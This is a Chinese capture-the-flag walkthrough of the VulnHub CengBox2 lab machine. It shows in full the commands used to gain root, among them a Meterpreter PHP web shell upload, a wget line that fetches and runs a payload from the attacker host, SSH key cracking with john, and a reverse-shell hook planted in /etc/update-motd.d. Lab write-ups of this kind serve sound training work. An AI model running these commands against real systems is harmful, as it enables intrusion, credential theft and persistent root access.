VulnHub CengBox2靶机渗透

​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载。

难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengBox2.ova天翼云盘:https://cloud.189.cn/t/nq6r6jQVRZBz百度网盘:https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取码:gt6g官网简介:Ceng Company似乎正在维护,但仍可能运行着某些业务渗透目标:获取普通用户以及root用户权限本机地址:192.168.110.27靶机地址:192.168.110.30, 192.168.110.32

 

信息收集

老规矩,还是nmap开路。

nmap 192.168.110.0/24

VulnHub CengBox2靶机渗透_第1张图片

扫描结果显示共开启了3个端口,分别运行着FTP、SSH和HTTP服务。一般来说,漏洞出现在HTTP服务的可能性最大,首先看看网站有什么敏感信息。

VulnHub CengBox2靶机渗透_第2张图片

VulnHub CengBox2靶机渗透_第3张图片

显示网站正在维护,源码中也没有提供任何有用的信息。那么就需要使用dirb扫描网页目录了。

dirb 192.168.110.30

只扫到了两个页面,index.html很明显是刚才访问的主页,而server-status是不可能有权限访问的,也就是说,dirb没有扫出有用信息。

既然80端口找不到突破点,那么看看FTP服务可不可以匿名登录。

ftp 192.168.110.30

VulnHub CengBox2靶机渗透_第4张图片

可以匿名登录,查看一下ftp目录下有什么敏感文件。

ls 

VulnHub CengBox2靶机渗透_第5张图片

有一个名为note.txt的文件,不管三七二十一,先下载下来再说。

get note.txt

VulnHub CengBox2靶机渗透_第6张图片

下载完成,查看文件内容。

文件内容提示Aaron用默认密码初始化了Kevin的账号,并且把站点转移到了ceng-company.vm域下。猜测通过域名和IP访问网站的相应结果不同。

修改hosts文件,把ceng-company.vm定向到192.168.110.30。

sudo vim /etc/hosts

VulnHub CengBox2靶机渗透_第7张图片

接下来使用浏览器访问ceng-company.vm看看是否有不同的返回结果。

VulnHub CengBox2靶机渗透_第8张图片

很遗憾,还是之前的页面。再次使用dirb扫描看看。

依然没有有用的信息,不过既然靶机作者给出了提示,那么突破点就应该在网页上。

考虑到ceng-company.vm是一级域名,而绝大多数网站都是通过二级域名访问的,例如www.sogou.com、blog.csdn.net等。因此考虑在ceng-company.vm前加上前缀,组成二级域名,看网站是否有不同的响应。

vim /etc/hosts

VulnHub CengBox2靶机渗透_第9张图片

这里添加了www、bbs、login、admin和blog这几个常见的前缀。经过测试,admin.ceng-company.vm会显示禁止访问,而其他二级域名则显示与ceng-company.vm一样的结果。

VulnHub CengBox2靶机渗透_第10张图片

admin.ceng-company.vm一定有猫腻,再次使用dirb扫描。

dirb http://admin.ceng-company.vm

这次的结果更惨,只扫到一个页面。虽然没有扫描出什么结果,但admin.ceng-company一定是靶机的突破口,应该是dirb默认的字典不够大才无法扫描到有用的结果。

结合以前使用dirbuster需要一个小时才能扫描完成的经历,将默认字典换成dirbuster的字典再次尝试,由于dirbuster的自带的字典过于庞大,需要使用-w参数才能正常使用。

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w

功夫不负有心人,经过漫长的等待,终于发现了一个可以访问的目录。

网页端查看该目录,发现是一个CMS。

VulnHub CengBox2靶机渗透_第11张图片

点击网页的所有链接发现没有有用的信息后,尝试访问login页面。

VulnHub CengBox2靶机渗透_第12张图片

VulnHub CengBox2靶机渗透_第13张图片

由于note.txt中给出了提示,Kevin的账号是使用默认密码初始化的,尝试E-mail为[email protected],密码为admin登录。

登录成功后网页又跳转到初始页面,那么就试试admin页面。

VulnHub CengBox2靶机渗透_第14张图片

查看页面内容后发现Content -> File Manager可以上传文件。

VulnHub CengBox2靶机渗透_第15张图片

 

VulnHub CengBox2靶机渗透_第16张图片

通过这个页面应该可以上传PHP木马,接下来需要配合msf等工具生成PHP木马,并获取靶机的远程shell。

 

漏洞利用

 

首先需要使用msf生成PHP木马。

msfconsole use multi/script/web_deliveryset payload php/meterpreter/reverse_tcpset LHOST 192.168.110.27set target PHPrun

这几条命令将会生成shell命令,复制eval部分内容保存成php脚本文件,然后上传到靶机上。

 

VulnHub CengBox2靶机渗透_第17张图片

显示上传成功,但是在网页端并没有查看到shell.sh,可能被服务器过滤了。接下来尝试上传到tmp目录。

VulnHub CengBox2靶机渗透_第18张图片

上传成功,访问admin.ceng-company.vm/gila/tmp/shell.php。

VulnHub CengBox2靶机渗透_第19张图片

显示禁止访问,这应该与.htaccess文件有关,打开.htaccess,重命名为.htaccess.bak。

VulnHub CengBox2靶机渗透_第20张图片

闯大祸了,修改文件名之后所有的页面都不可访问,这下彻底没有办法了。由于没有对靶机做备份,需要重新导入ova文件,靶机的IP更新为192.168.110.32。

这里的原因是删除了根目录下的.htaccess,本来只需要删除tmp下的.htaccess文件即可。

VulnHub CengBox2靶机渗透_第21张图片

将其重命名为.htaccess.bak。

VulnHub CengBox2靶机渗透_第22张图片

然后再访问admin.ceng-company.vm/gila/tmp/shell.php。

msf成功获取靶机shell。

sessions l

VulnHub CengBox2靶机渗透_第23张图片

 

sessions -i 1shell

VulnHub CengBox2靶机渗透_第24张图片

将不好用的shell改为bash。

whereis python

系统中安装了python2.7和python3.5。

python3.5 -c 'import pty; pty.spawn("/bin/bash")'

 

权限提升

切换到家目录查看有哪些用户。

cd /homedir

VulnHub CengBox2靶机渗透_第25张图片

其中无法进入mitnick目录,可以进入swartz目录。

VulnHub CengBox2靶机渗透_第26张图片

查看当前目录下有没有可以利用的文件。

ls -l

查看文件内容。

cat runphp.sh

VulnHub CengBox2靶机渗透_第27张图片

该文件的功能为交互式运行php,查看是否可以以swartz权限执行该脚本。

sudo -l

VulnHub CengBox2靶机渗透_第28张图片

果然,是可以免密码以swartz权限执行runphp.sh的。

sudo -u swartz ./runphp.sh

VulnHub CengBox2靶机渗透_第29张图片

需要注意参数,./runphp.sh和/home/swartz/runphp.sh都可以,但是不能直接使用文件名,否则还是需要输入密码。

接下来使用交互式php获取swartz的shell。

pcntl_exec('/bin/bash');

再次尝试进入mitnick家目录。

VulnHub CengBox2靶机渗透_第30张图片

成功进入,查看该目录下有无提示。

ls -la

VulnHub CengBox2靶机渗透_第31张图片

有一个名为user.txt的文件,但是没有任何权限,很明显,这是在提示需要提权到mitnick用户才能进入下一步。

查找一下有什么文件可以以mitnick或root权限运行。

sudo -l

很遗憾,需要密码。这时候注意到mitnick家目录下有.ssh文件夹,进入文件夹查看。

VulnHub CengBox2靶机渗透_第32张图片

查看id_rsa。

VulnHub CengBox2靶机渗透_第33张图片

接下来尝试使用John the Rapper暴力破解密码。

nc -lvvp 31337 < id_rsanc 192.168.110.32 31337 > mitnick.key

VulnHub CengBox2靶机渗透_第34张图片

将mitnick.key转换成john可识别的文件。

/usr/share/john/ssh2john.py mitnick.key > mitnick.johncat mitnick.john

VulnHub CengBox2靶机渗透_第35张图片

使用John the Rapper暴力破解。

locate rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john

VulnHub CengBox2靶机渗透_第36张图片

几秒钟就将密码爆破出来了。接着使用mitnick.key登录靶机。

ssh -i mitnick.key [email protected]

VulnHub CengBox2靶机渗透_第37张图片

无法登录,原因是mitnick.key权限为644,需要改成600才能登录。

chmod 600 mitnick.keyssh -i mitnick.key [email protected]

VulnHub CengBox2靶机渗透_第38张图片

查看user.txt

cat user.txt

第一个flag已经拿到。现在需要提权到root,首先查找有哪些可以利用的文件。

find / -type f -perm -g+rwx 2>/dev/null

VulnHub CengBox2靶机渗透_第39张图片

update-motd.d文件夹下的脚本会在用户通过SSH登录时由root运行,主要的作用是在登录时显示消息。既然有写权限,那么进行反弹shell。

使用msf生成反弹shell脚本。

use multi/script/web_deliveryset payload linux/x86/shell_reverse_tcpset LHOST 192.168.110.27set target Linuxrun

执行之后将会生成一个wget命令。

VulnHub CengBox2靶机渗透_第40张图片

将该命令写进脚本并设置可执行权限。

echo "wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh

chmod 777 rootShell.sh

最后将rootShell.sh写进00-header。

echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header

注销SSH会话,重新连接。

exitssh -i mitnick.key [email protected]

VulnHub CengBox2靶机渗透_第41张图片

此时msf已经成功获取shell。

sessions -lsessions -i 1

VulnHub CengBox2靶机渗透_第42张图片

检查权限,切换成bash。

idpython3.5 -c 'import pty; pty.spawn("/bin/bash")'

VulnHub CengBox2靶机渗透_第43张图片

查找flag。

cd /rootlscat root.txt

VulnHub CengBox2靶机渗透_第44张图片

至此,对靶机的渗透已经全部完成。

你可能感兴趣的:(渗透测试)